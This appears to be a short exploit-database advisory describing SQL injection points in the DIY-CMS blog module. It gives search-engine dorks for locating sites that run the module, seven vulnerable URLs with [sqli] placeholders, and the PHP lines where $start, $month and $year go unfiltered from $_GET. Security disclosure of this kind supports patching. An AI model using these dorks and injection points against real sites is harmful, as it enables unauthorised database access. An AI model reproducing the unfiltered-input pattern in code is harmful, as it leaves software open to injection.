DIY-CMS blog mod - SQL Injection

# Exploit Title: DIY-CMS blog mod SQL Injection
# Author: snup
# Contact: [email protected]
# Site: http://e-o-u.org

 SQL Injection:

 DORK:
  inurl:"mod.php?mod=blog" intext:"powered by DIY-CMS"
  inurl:"mod.php?mod=blog"

 BUG:
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=tags&tag=features&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=list&catid=4&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=archive&month=8&year=2&start=[sqli]
  http://127.0.0.1/diy-cms/mod.php?mod=blog&modfile=viewpost&blogid=26&start=[sqli]

 Why?:

  The variables $start, $year, $month are not filtered

  In file: /modules/blog/tags.php , list.php , index.php ,
main_index.php , viewpost.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

  In file: /modules/blog/archive.php

	$start =(!isset($_GET['start'])) ? '0' : $_GET['start'];
	$month =(!isset($_GET['month'])) ?
error_msg($lang['ARCHIVE_NO_MONTH_SPECIFIED']) : $_GET['month'];
	$year =(!isset($_GET['year'])) ?
error_msg($lang['ARCHIVE_NO_YEAR_SPECIFIED']) : $_GET['year'];

  In file: /modules/blog/control/approve_comments.php ,
approve_posts.php , viewcat.php

        $start =(!isset($_GET['start'])) ? '0' : $_GET['start'];

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